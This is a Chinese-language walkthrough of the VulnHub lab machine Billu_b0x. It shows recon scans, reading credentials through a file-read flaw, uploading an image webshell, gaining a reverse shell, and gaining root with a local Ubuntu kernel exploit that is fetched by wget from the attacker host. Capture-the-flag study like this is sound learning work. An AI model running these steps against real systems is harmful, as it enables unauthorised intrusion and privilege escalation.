一、介绍
运行环境:Virtualbox
攻击机:kali(192.168.56.101)
靶机:Billu_b0x(192.168.56.107)
目标:获取靶机root权限和flag
靶机下载地址:https://download.vulnhub.com/billu/Billu_b0x.zip
二、信息收集
使用nmap主机发现靶机ip:192.168.56.107
使用nmap端口扫描发现靶机开放端口:22、80
nmap -A 192.168.56.107 -p 1-65535
打开网站发现是一个登录页面,查看源码未发现隐藏信息
直接使用sqlmap探测是否具有sql注入漏洞,没有发现sql注入漏洞
sqlmap -u http://192.168.56.107/ --dbs --forms
使用gobuster和dirsearch工具进行目录爆破,浏览器访问这些爆破出来的目录访问
gobuster dir -u http://192.168.56.107/ -x txt,php,html,bak --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txtdirsearch -u http://192.168.56.107/
访问/in.php
,发现网站根目录
访问/add.php
文件,发现上传图片功能,尝试上传文件,发现均上传失败
访问/test.php
文件,发现显示“file”参数为空,可以猜测这里存在文件包含漏洞
访问/phpmy/
目录,发现是phpmyadmin登录页面
三、漏洞利用
文件包含漏洞利用,使用GET传递参数失败,使用POST传参成功
包含网站文件,看看有没有什么敏感信息,发现包含c.php时,得到数据库用户名密码:billu:b0x_billu
mysqli_connect(host,username,password,dbname,port,socket);
使用数据库用户名密码登录phpmyadmin
发现网站的用户名密码:biLLu:hEx_it
登录网站发现添加用户功能点存在文件上传的地方
上传php文件,上传失败,只能上传图片文件
构造图片马,将图片马上传,上传成功
copy 1.jpg/b+shell.php/a shell.jpg
使用test.php文件包含漏洞包含图片马,包含失败,会直接读取该图片的内容
查看test.php的源码,发现test.php是使用readfile函数读取文件内容,并不能包含文件
查看网站其它文件代码,看看有没有利用的地方,发现存在continue参数的时候,load参数可以进行文件包含
if(isset($_POST['continue']))
{$dir=getcwd();$choice=str_replace('./','',$_POST['load']);if($choice==='add'){include($dir.'/'.$choice.'.php');die();}if($choice==='show'){include($dir.'/'.$choice.'.php');die();}else{include($dir.'/'.$_POST['load']);}
}
构造代码,包含之前上传的图片马,反弹shell
获取交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'
四、提权
使用cat /etc/issue
命令查看靶机的发行版本信息,使用uname -a
命令查看靶机内核版本信息
使用searchsploit搜索Ubuntu 12.04 的历史漏洞,我们选择linux/local/37292.c
searchsploit Ubuntu 12.04
将该exp下载下来,使用web服务器将exp上传到靶机
searchsploit -m linux/local/37292.c
wget http://192.168.56.101/37292.c
使用gcc编译,执行,获取root权限
gcc 37292.c -o 37292
./37292
未发现flag
参考链接:https://blog.csdn.net/qq_52576844/article/details/122405136